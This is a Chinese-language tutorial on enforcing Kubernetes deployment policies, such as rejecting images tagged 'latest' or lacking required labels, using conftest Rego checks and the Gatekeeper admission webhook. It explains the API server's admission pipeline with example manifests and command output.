&lt;p&gt;本文将会讲述使用 &lt;a href=&#34;https://github.com/open-policy-agent/conftest&#34; target=&#34;_blank&#34;&gt;conftest&lt;/a&gt; 这样的静态工具以及 &lt;a href=&#34;https://github.com/open-policy-agent/gatekeeper&#34; target=&#34;_blank&#34;&gt;Gatekeeper&lt;/a&gt; 之类的集群内 Operator 为 Kubernetes 工作负载提供策略支持的方法。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;本文所讲的策略，指的是在 Kubernetes 中，阻止特定工作负载进行部署的方法。&lt;/p&gt;

&lt;p&gt;这种要求通常是出于合规的考虑，有一些最佳实践可以推荐给集群管理员：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;不要运行特权 Pod。&lt;/li&gt;
&lt;li&gt;不要用 root 运行 Pod。&lt;/li&gt;
&lt;li&gt;指定资源限制。&lt;/li&gt;
&lt;li&gt;不要使用 &lt;code&gt;latest&lt;/code&gt; 标签的镜像。&lt;/li&gt;
&lt;li&gt;限制 Linux capability 的使用。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;除去上述安全要求，可能还会有一些应用管理方面的需要，例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;所有工作负载都应该有 &lt;code&gt;project&lt;/code&gt; 和 &lt;code&gt;app&lt;/code&gt; 标签。&lt;/li&gt;
&lt;li&gt;所有工作负载都应该从特定镜像库获取（例如 &lt;code&gt;my-company.com&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最后还有一类需求，防止工作负载之间的冲突，例如多个服务不应使用同样的 Ingress 主机名。&lt;/p&gt;

&lt;p&gt;下面会分别讲述集群内外进行策略实施的方法。&lt;/p&gt;

&lt;p&gt;不符合策略规定的工作负载将被拒绝部署。&lt;/p&gt;

&lt;p&gt;集群外方式是通过对 YAML 文件进行静态检查之后，根据检查结果决定是否放行的。&lt;/p&gt;

&lt;p&gt;有&lt;a href=&#34;https://deploy-preview-317--learnk8s.netlify.app/validating-kubernetes-yaml&#34; target=&#34;_blank&#34;&gt;多种工具&lt;/a&gt;能够完成这一任务。&lt;/p&gt;

&lt;p&gt;集群内方式是使用 Validating admission controller，这些控制器会在工作负载进入数据库之前进行调用。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本文所涉的代码可以在 &lt;a href=&#34;https://github.com/amitsaha/kubernetes-policy-enforcement-demo&#34; target=&#34;_blank&#34;&gt;github&lt;/a&gt; 找到。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;不合规的-deployment&#34;&gt;不合规的 Deployment&lt;/h2&gt;

&lt;p&gt;假设我们有这样一个 YAML：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: http-echo
  labels:
    app: http-echo
spec:
  replicas: 2
  selector:
    matchLabels:
      app: http-echo
  template:
    metadata:
      labels:
        app: http-echo
    spec:
      containers:
      - name: http-echo
        image: hashicorp/http-echo
        args: [&amp;quot;-text&amp;quot;, &amp;quot;hello-world&amp;quot;]
        ports:
        - containerPort: 5678

      - name: http-echo-1
        image: hashicorp/http-echo:latest
        args: [&amp;quot;-text&amp;quot;, &amp;quot;hello-world&amp;quot;]
        ports:
        - containerPort: 5678
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的清单会生成一个 Pod，其中包含两个容器，这两个容器使用的是同一个镜像。&lt;/p&gt;

&lt;p&gt;第一个容器没有指定镜像标签，另外一个用的是 &lt;code&gt;latest&lt;/code&gt;，最终他们使用的都是 &lt;code&gt;hashicorp/http-echo&lt;/code&gt; 镜像的 &lt;code&gt;latest&lt;/code&gt; 版本。&lt;/p&gt;

&lt;p&gt;这不符合前面说的最佳实践，应该阻止这种工作负载在我们的集群上运行。正确的指定镜像的方式是填写精确的标签，例如 &lt;code&gt;hashicorp/http-echo:0.2.3&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;那么就看看如何使用静态分析的方式，制定策略来制止这种工作负载的部署。&lt;/p&gt;

&lt;p&gt;要阻止这种资源到达集群，可能要在如下位置嵌入这个分析过程：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Git 的 &lt;code&gt;pre-commit&lt;/code&gt;，在进入 GIT 之前进行检查。&lt;/li&gt;
&lt;li&gt;作为 CI/CD Pipeline 的一部分，在 Git 分支合并到主线之前进行检查。&lt;/li&gt;
&lt;li&gt;作为 CI/CD Pipeline 的一部分，在资源被提交到集群之间进行检查。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;使用-conftest-实时策略&#34;&gt;使用 Conftest 实时策略&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://conftest.dev/&#34; target=&#34;_blank&#34;&gt;Conftest&lt;/a&gt; 是一个针对配置文件的测试框架，能够用于对 Kubernetes 清单文件进行检查和校验。&lt;/p&gt;

&lt;p&gt;Conftest 的测试使用一种叫 &lt;a href=&#34;https://www.openpolicyagent.org/docs/latest/policy-language/&#34; target=&#34;_blank&#34;&gt;Rego&lt;/a&gt; 的 DSL 编写。&lt;/p&gt;

&lt;p&gt;可以根据项目网站上的&lt;a href=&#34;https://www.conftest.dev/install/&#34; target=&#34;_blank&#34;&gt;安装指导&lt;/a&gt;进行安装。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;目前的最新版本为 0.19.0。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;接下来定义两条策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-rego&#34;&gt;package main

deny[msg] {
  input.kind == &amp;quot;Deployment&amp;quot;
  image := input.spec.template.spec.containers[_].image
  not count(split(image, &amp;quot;:&amp;quot;)) == 2
  msg := sprintf(&amp;quot;image &#39;%v&#39; doesn&#39;t specify a valid tag&amp;quot;, [image])
}

deny[msg] {
  input.kind == &amp;quot;Deployment&amp;quot;
  image := input.spec.template.spec.containers[_].image
  endswith(image, &amp;quot;latest&amp;quot;)
  msg := sprintf(&amp;quot;image &#39;%v&#39; uses latest tag&amp;quot;, [image])
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;猜猜这两条策略有什么用？&lt;/p&gt;

&lt;p&gt;两个策略都是用在 &lt;code&gt;Deployment&lt;/code&gt; 对象上的，他们会从 &lt;code&gt;spec.container&lt;/code&gt; 字段中获取内容。&lt;/p&gt;

&lt;p&gt;第一条规则用于检查镜像是否带有标签：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-rego&#34;&gt;  not count(split(image, &amp;quot;:&amp;quot;)) == 2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第二条规则会检查，标签是否为 &lt;code&gt;latest&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-rego&#34;&gt;  endswith(image, &amp;quot;latest&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果条件为真，那么 &lt;code&gt;deny&lt;/code&gt; 块就会被判为非法。&lt;/p&gt;

&lt;p&gt;如果代码中的 &lt;code&gt;deny&lt;/code&gt; 超过一个，conftest 会分别进行检查，如果任意一个 &lt;code&gt;deny&lt;/code&gt; 生效，都会做出违规判断。&lt;/p&gt;

&lt;p&gt;把这段代码保存为 &lt;code&gt;check_image_tag.rego&lt;/code&gt;，并运行 conftest 对 &lt;code&gt;deployment.yaml&lt;/code&gt; 进行检查：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ conftest test -p conftest-checks test-data/deployment.yaml
FAIL - test-data/deployment.yaml - image &#39;hashicorp/http-echo&#39; doesn&#39;t specify a valid tag
FAIL - test-data/deployment.yaml - image &#39;hashicorp/http-echo:latest&#39; uses latest tag

2 tests, 0 passed, 0 warnings, 2 failures
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;两个测试的结果都是失败。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;conftest&lt;/code&gt; 是静态的，需要在把 YAML 提交给集群之前进行检查。&lt;/p&gt;

&lt;p&gt;如果已经在使用 CICD 工具向集群提交 YAML，就需要新增一个步骤，使用 conftest 策略对所有资源进行校验。&lt;/p&gt;

&lt;p&gt;但是这样就可以阻止用户向集群提交使用 &lt;code&gt;latest&lt;/code&gt; 标签的 &lt;code&gt;Deployment&lt;/code&gt; 对象吗？&lt;/p&gt;

&lt;p&gt;当然了，所有具备权限的人，只要跳过 CICD 就可以用 &lt;code&gt;kubectl apply -f deployment.yaml&lt;/code&gt; 中在集群中创建这种违规对象。&lt;/p&gt;

&lt;p&gt;所以要在集群中部署动态检查来弥补这种不足——在非法对象被发送给集群之后拒绝。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-api&#34;&gt;Kubernetes API&lt;/h2&gt;

&lt;p&gt;回顾一下创建下面 Pod 的过程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: my-pod
spec:
  containers:
  - name: sise
    image: learnk8s/app:1.0.0
    ports:
    - containerPort: 8080
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;kubectl apply -f pod.yaml&lt;/code&gt; 执行之后，对象定义被发送给 API Server：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;YAML 保存到 ETCD。&lt;/li&gt;
&lt;li&gt;调度器把 Pod 分配给 Node。&lt;/li&gt;
&lt;li&gt;Kubelet 收到 Pod 定义，并创建对象。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;只有这么一点么？&lt;/p&gt;

&lt;p&gt;如果 YAML 有拼写错误怎么办？&lt;/p&gt;

&lt;p&gt;如何阻止无效的 YAML 进入 ETCD？&lt;/p&gt;

&lt;p&gt;在 &lt;code&gt;kubectl apply&lt;/code&gt; 时候，首先是 Kubelet 做了一些事：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在客户端对资源定义进行检查。&lt;/li&gt;
&lt;li&gt;把 YAML 转换为 JSON。&lt;/li&gt;
&lt;li&gt;从 &lt;code&gt;KUBECONFIG&lt;/code&gt; 读入配置。&lt;/li&gt;
&lt;li&gt;把对象报文发送给 &lt;code&gt;kube-apiserver&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;api-server&lt;/code&gt; 收到请求之后，也不会立即存入 etcd。&lt;/p&gt;

&lt;p&gt;首先他要检查请求者身份是否合法，也就是进行&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authentication/&#34; target=&#34;_blank&#34;&gt;认证&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;通过认证之后，还要判断该用户是否有权创建资源？&lt;/p&gt;

&lt;p&gt;身份和权限不能混为一谈，能访问集群不代表能够读写所有对象。鉴权过程通常是使用 &lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/rbac/&#34; target=&#34;_blank&#34;&gt;RBAC&lt;/a&gt; 机制实现。&lt;/p&gt;

&lt;p&gt;有了 RBAC，就可以通过适当的授权来限制用户的能力了。&lt;/p&gt;

&lt;p&gt;假设用户已经能够通过认证并且具备所需权限，是不是就能够把 Pod 定义保存到 Pod 之中了？并不是。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;api-server&lt;/code&gt; 自身也是一个 Pipeline。&lt;/p&gt;

&lt;p&gt;请求报文在保存到数据库之前，还要经过几个组件。认证和授权就是这些组件的一部分，还有其他组件。&lt;/p&gt;

&lt;p&gt;在对象进入数据库之前，首先会由 &lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/&#34; target=&#34;_blank&#34;&gt;Admission Controller&lt;/a&gt; 进行处理。&lt;/p&gt;

&lt;p&gt;这个步骤中，就有机会对当前资源进行更多检查。Kubernetes 缺省启用了几个 Admission Controller：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;kube-apiserver&lt;/code&gt; 的 &lt;code&gt;--enable-admission-plugins&lt;/code&gt; 中可以看到启用的项目。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;下面用 &lt;code&gt;NamespaceLifecycle&lt;/code&gt; 为例来看看 Admission Controller 的行为。&lt;/p&gt;

&lt;h2 id=&#34;validating-admission-controllers&#34;&gt;Validating admission controllers&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;NamespaceLifecycle&lt;/code&gt; 会阻止用户在不存在的 Namespace 中创建 Pod，例如下面的定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: my-pod
  namespace: does-not-exist
spec:
  containers:
  - name: sise
    image: learnk8s/app:1.0.0
    ports:
    - containerPort: 8080
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;YAML 结构是有效的，所以它能通过 &lt;code&gt;kubectl&lt;/code&gt; 的校验，提交给集群。&lt;/p&gt;

&lt;p&gt;假设用户通过了认证和鉴权，这个请求就会进入 &lt;code&gt;NamespaceLifecycle&lt;/code&gt;。&lt;code&gt;does-not-exist&lt;/code&gt; 命名空间并不存在，请求被拒绝。&lt;/p&gt;

&lt;p&gt;另外 &lt;code&gt;NamespaceLifecycle&lt;/code&gt; 还会阻止删除 &lt;code&gt;default&lt;/code&gt;、&lt;code&gt;kube-system&lt;/code&gt; 和 &lt;code&gt;kube-public&lt;/code&gt; 命名空间的请求。&lt;/p&gt;

&lt;p&gt;用于对请求进行校验的控制器被集中在 &lt;code&gt;Validating&lt;/code&gt; 分类之中。&lt;/p&gt;

&lt;p&gt;除此之外还有另外一个分类，被称为 &lt;code&gt;Mutating&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;mutating-admission-controllers&#34;&gt;Mutating admission controllers&lt;/h2&gt;

&lt;p&gt;从名字就看得出，Mutating Controller 控制器能够对请求报文做出变更。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;DefaultStorageClass&lt;/code&gt; 就是一个很好的例子。&lt;/p&gt;

&lt;p&gt;假设要创建一个 PVC 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: my-pvc
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 3Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个对象提交之后，如果使用 &lt;code&gt;kubectl get pvc&lt;/code&gt;，会发现存储卷状态为 &lt;code&gt;Bound&lt;/code&gt; 并且被赋予了一个 &lt;code&gt;standard&lt;/code&gt; 的 &lt;code&gt;StorageClass&lt;/code&gt;。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;NAME     STATUS   VOLUME         CAPACITY   ACCESS MODES   STORAGECLASS   AGE
my-pvc   Bound    pvc-059f2da2   3Gi        RWO            standard       3s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;很明显我们的 YAML 中并没有这些定义。用 &lt;code&gt;kubectl get pvc my-pvc -0 yaml&lt;/code&gt; 查看一下 YAML，会看到如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: my-pvc
spec:
  accessModes:
  - ReadWriteOnce
  resources:
    requests:
      storage: 3Gi
  storageClassName: standard
  volumeMode: Filesystem
  volumeName: pvc-059f2da2-a216-42b7-875e-e7da327605dd
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;多出了一行 &lt;code&gt;storageClassName: standard&lt;/code&gt;。这里的 &lt;code&gt;standard&lt;/code&gt; 并不是 API 中硬编码的，而是把缺省 &lt;code&gt;StorageClass&lt;/code&gt; 的名字注入到 &lt;code&gt;spec.storageClassName&lt;/code&gt; 之中。&lt;/p&gt;

&lt;p&gt;可以用命令读取缺省 &lt;code&gt;StorageClass&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get storageclass
NAME                 PROVISIONER                RECLAIMPOLICY   VOLUMEBINDINGMODE   AGE
standard (default)   k8s.io/minikube-hostpath   Delete          Immediate           8m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果缺省 &lt;code&gt;StorageClass&lt;/code&gt; 名称为 &lt;code&gt;aws-ebs&lt;/code&gt;，&lt;code&gt;DefaultStorageClass&lt;/code&gt; Admission Controller 会把它注入到之前 &lt;code&gt;standard&lt;/code&gt; 所在的位置。&lt;/p&gt;

&lt;p&gt;Kubernetes 带有多个 Mutating 和 Validating Admission Controller，官方网站上有&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/&#34; target=&#34;_blank&#34;&gt;完整的列表&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;请求在经过这些关卡之后，才能保存到数据库。&lt;/p&gt;

&lt;p&gt;如果想要自定义检查或变更过程，如何能加入自己的规则呢？&lt;/p&gt;

&lt;h3 id=&#34;admission-controller-的扩展性&#34;&gt;Admission Controller 的扩展性&lt;/h3&gt;

&lt;p&gt;除了 Kubernetes 内置之外，他也可以使用自己的 Admission Controller。&lt;/p&gt;

&lt;p&gt;有两个可编程的点：&lt;code&gt;MutationAdmissionWebhook&lt;/code&gt; 和 &lt;code&gt;ValidationAdmissionWebhook&lt;/code&gt;。可以在这两个 Webhook 上注册自己的组件，这样在 Admission 阶段就可以使用自定义的组件来处理对象了。&lt;/p&gt;

&lt;p&gt;因此可以编写一个组件，来检查当前 Pod 是否使用了来自特定私有镜像库的镜像。&lt;/p&gt;

&lt;p&gt;把这个组件注册到 &lt;code&gt;ValidationAdmissionWebhook&lt;/code&gt;，来对容器定义做出放行或阻拦的决策。&lt;/p&gt;

&lt;p&gt;这就是 Gatekeeper 的用途——它可以被注册到集群，对请求信息进行校验。&lt;/p&gt;

&lt;h2 id=&#34;用-gatekeeper-实施策略&#34;&gt;用 Gatekeeper 实施策略&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/open-policy-agent/gatekeeper&#34; target=&#34;_blank&#34;&gt;Gatekeeper&lt;/a&gt; 让 Kubernetes 管理员可以定义策略来保证集群的合规性，并符合最佳实践的要求。&lt;/p&gt;

&lt;p&gt;Gatekeeper 会将自己注册到 Validation Webhook。&lt;/p&gt;

&lt;h3 id=&#34;提交到集群的任何资源都会被活动的策略进行检查&#34;&gt;提交到集群的任何资源都会被活动的策略进行检查。&lt;/h3&gt;

&lt;p&gt;同时 Gatekeeper 也符合 Kubernetes 的架构建议，使用 CRD 来管理策略，因此它的策略也是 Kubernetes 资源。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://cloud.google.com/anthos-config-management/docs/concepts/policy-controller&#34; target=&#34;_blank&#34;&gt;Google 云文档&lt;/a&gt;在这方面有很精彩的阐述。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;从内部看，Gatekeeper 使用 Open Policy Agent(OPA) 作为核心的策略引擎，策略使用 Rego 语言编写——和 &lt;code&gt;conftest&lt;/code&gt; 一样。&lt;/p&gt;

&lt;p&gt;在下面的内容里，会尝试使用 Gatekeeper。此处要求用户使用管理用户操作 Kubernetes，使用下面的指令部署 Gatekeeper：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;kubectl apply -f \
https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查运行情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl -n gatekeeper-system describe svc gatekeeper-webhook-service
Name:              gatekeeper-webhook-service
Namespace:         gatekeeper-system
Labels:            gatekeeper.sh/system=yes
Annotations:       ...
Type:              ClusterIP
IP:                10.102.199.165
Port:              &amp;lt;unset&amp;gt;  443/TCP
TargetPort:        8443/TCP
Endpoints:         172.18.0.4:8443
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个服务就是用于验证的的。所有的 Pod、Deployment、Service 等，都要受到 Gatekeeper 的监管&lt;/p&gt;

&lt;h3 id=&#34;使用-contstrainttemplate-定义可复用的策略&#34;&gt;使用 ContstraintTemplate 定义可复用的策略&lt;/h3&gt;

&lt;p&gt;在 Gatekeeper 中，首先需要使用 &lt;code&gt;ContstraintTemplate&lt;/code&gt; 创建策略。&lt;/p&gt;

&lt;p&gt;下面的 &lt;code&gt;ContstraintTemplate&lt;/code&gt; 定义会拒绝使用 &lt;code&gt;latest&lt;/code&gt; 标签的镜像。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: k8simagetagvalid
spec:
  crd:
    spec:
      names:
        kind: K8sImageTagValid
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package k8simagetagvalid

        violation[{&amp;quot;msg&amp;quot;: msg, &amp;quot;details&amp;quot;:{}}] {
          image := input.review.object.spec.template.spec.containers[_].image
          not count(split(image, &amp;quot;:&amp;quot;)) == 2
          msg := sprintf(&amp;quot;image &#39;%v&#39; doesn&#39;t specify a valid tag&amp;quot;, [image])
        }

        violation[{&amp;quot;msg&amp;quot;: msg, &amp;quot;details&amp;quot;:{}}] {
          image := input.review.object.spec.template.spec.containers[_].image
          endswith(image, &amp;quot;latest&amp;quot;)
          msg := sprintf(&amp;quot;image &#39;%v&#39; uses latest tag&amp;quot;, [image])
        }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个策略和前面 &lt;code&gt;conftest&lt;/code&gt; 的策略类似，但是也有些区别。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;输入对象名称为 &lt;code&gt;input.review.object&lt;/code&gt;，而不是 &lt;code&gt;input&lt;/code&gt;，这里也无需检查输入对象的 &lt;code&gt;kind&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;deny&lt;/code&gt; 规则改为 &lt;code&gt;violation&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;violation&lt;/code&gt; 块的签名是一个包含两个属性的对象。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;第一个是字符串类型的 &lt;code&gt;msg&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;第二个是 &lt;code&gt;details&lt;/code&gt; 对象，其中可以包含任意属性。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这两个属性都会用作返回值。&lt;/p&gt;

&lt;p&gt;接下来用 &lt;code&gt;kubectl&lt;/code&gt; 把这个定义提交到集群。然后就可以使用 &lt;code&gt;describe&lt;/code&gt; 命令查询模板情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f templates/check_image_tag.yaml
constrainttemplate.templates.gatekeeper.sh/k8simagetagvalid created

$ kubectl describe constrainttemplate.templates.gatekeeper.sh/k8simagetagvalid
Name:         k8simagetagvalid
Namespace:
Labels:       &amp;lt;none&amp;gt;
Annotations:  kubectl.kubernetes.io/last-applied-configuration:
                {&amp;quot;apiVersion&amp;quot;:&amp;quot;templates.gatekeeper.sh/v1beta1&amp;quot;,&amp;quot;kind&amp;quot;:&amp;quot;ConstraintTemplate&amp;quot;,&amp;quot;metadata&amp;quot;:
                {&amp;quot;annotations&amp;quot;:{},&amp;quot;name&amp;quot;:&amp;quot;k8simagetagvalid&amp;quot;},&amp;quot;spec&amp;quot;...
API Version:  templates.gatekeeper.sh/v1beta1
Kind:         ConstraintTemplate
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个对象并不能直接用于进行校验。它只是一个策略定义，要使用这个策略，还要创建一个 &lt;code&gt;Constraint&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;创建一个-constraint&#34;&gt;创建一个 Constraint&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Constraint&lt;/code&gt; 对象的含义是“在集群中使用这个策略”。&lt;/p&gt;

&lt;p&gt;可以把 &lt;code&gt;ConstraintTemplates&lt;/code&gt; 当做一本菜谱，其中包含虽然包含几百个菜式，但是菜谱本身是无法食用的。必须选择菜谱并按照菜谱要求提供相应的材料，进行合适的操作，才能烤出蛋糕。&lt;/p&gt;

&lt;p&gt;下面举个例子，用前面的 &lt;code&gt;K8sImageTagValid&lt;/code&gt; 创建一个 &lt;code&gt;Contraint&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sImageTagValid
metadata:
  name: valid-image-tag
spec:
  match:
    kinds:
      - apiGroups: [&amp;quot;apps&amp;quot;]
        kinds: [&amp;quot;Deployment&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个 &lt;code&gt;Constraint&lt;/code&gt; 引用了 &lt;code&gt;ConstraintTemplate&lt;/code&gt;，并用 &lt;code&gt;spec.match&lt;/code&gt; 字段规定了适用的资源类型。这里我们要求针对 &lt;code&gt;api&lt;/code&gt; 组下的 &lt;code&gt;Deployment&lt;/code&gt; 对象进行检查。&lt;/p&gt;

&lt;p&gt;这些字段是数组类型的，因此可以指定多个值，把检查范围扩展到 &lt;code&gt;StatefulSet&lt;/code&gt;、&lt;code&gt;DaemonSet&lt;/code&gt; 等。&lt;/p&gt;

&lt;p&gt;用 &lt;code&gt;kubectl apply&lt;/code&gt; 提交这个对象。&lt;/p&gt;

&lt;h3 id=&#34;测试策略&#34;&gt;测试策略&lt;/h3&gt;

&lt;p&gt;用带有两个镜像的 Deployment 进行测试：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f deployment.yaml
Error from server ([denied by valid-image-tag] image &#39;hashicorp/http-echo&#39; doesn&#39;t specify a valid tag
[denied by valid-image-tag] image &#39;hashicorp/http-echo:latest&#39; uses latest tag): error when creating
&amp;quot;test-data/deployment.yaml&amp;quot;: admission webhook &amp;quot;validation.gatekeeper.sh&amp;quot; denied the request:
[denied by valid-image-tag] image &#39;hashicorp/http-echo&#39; doesn&#39;t specify a valid tag
[denied by valid-image-tag] image &#39;hashicorp/http-echo:latest&#39; uses latest tag
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Gatekeeper 拒绝了输入内容，可以看出这个过程是不能跳过的。&lt;/p&gt;

&lt;p&gt;如果集群中正在运行工作负载，此时实施 Gatekeeper 策略可能会很有难度——这有因为合规问题导致业务中断的风险。&lt;/p&gt;

&lt;p&gt;Gatekeeper 还允许使用 &lt;code&gt;dry-run&lt;/code&gt; 模式运行 &lt;code&gt;Constraint&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sImageTagValid
metadata:
  name: valid-image-tag
spec:
  enforcementAction: dryrun
  match:
    kinds:
      - apiGroups: [&amp;quot;apps&amp;quot;]
        kinds: [&amp;quot;Deployment&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个模式中，策略不会阻止工作负载的部署，但是会在对象的 &lt;code&gt;Violation&lt;/code&gt; 字段中记录违规行为：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl describe k8simagetagvalid.constraints.gatekeeper.sh/valid-image-tag
Name:         valid-image-tag
Namespace:
Labels:       &amp;lt;none&amp;gt;
Annotations:  kubectl.kubernetes.io/last-applied-configuration:
....

  Total Violations:  2
  Violations:
    Enforcement Action:  dryrun
    Kind:                Deployment
    Message:             image &#39;hashicorp/http-echo&#39; doesn&#39;t specify a valid tag
    Name:                http-echo
    Namespace:           default
    Enforcement Action:  dryrun
    Kind:                Deployment
    Message:             image &#39;hashicorp/http-echo:latest&#39; uses latest tag
    Name:                http-echo
    Namespace:           default
Events:                  &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在确保所有工作负载都合规之后，就可以移除 &lt;code&gt;dry-run&lt;/code&gt;，正式启用策略了。&lt;/p&gt;

&lt;h3 id=&#34;标签检查&#34;&gt;标签检查&lt;/h3&gt;

&lt;p&gt;这个例子会检查 Deployment 对象，要求必须包含 &lt;code&gt;project&lt;/code&gt; 和 &lt;code&gt;app&lt;/code&gt; 两个标签。&lt;/p&gt;

&lt;p&gt;如果用 &lt;code&gt;conftest&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-rego&#34;&gt;package main

deny[msg] {
  input.kind == &amp;quot;Deployment&amp;quot;

  required := {&amp;quot;app&amp;quot;, &amp;quot;project&amp;quot;}
  provided := {label | input.metadata.labels[label]}
  missing := required - provided

  count(missing) &amp;gt; 0
  msg = sprintf(&amp;quot;you must provide labels: %v&amp;quot;, [missing])
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面代码中：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;required&lt;/code&gt; 是一个集合，其中包含了 &lt;code&gt;app&lt;/code&gt; 和 &lt;code&gt;project&lt;/code&gt; 两个元素。我们希望每个 &lt;code&gt;Deployment&lt;/code&gt; 都包含这两个标签。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;provided&lt;/code&gt; 会从输入中读取当前对象的标签。&lt;/li&gt;
&lt;li&gt;两个集合相减，得到缺失的标签的集合，赋值给 &lt;code&gt;missing&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;count()&lt;/code&gt; 函数获取 &lt;code&gt;missing&lt;/code&gt; 集合的元素数量，如果大于零，代表该输入不合规。&lt;/li&gt;
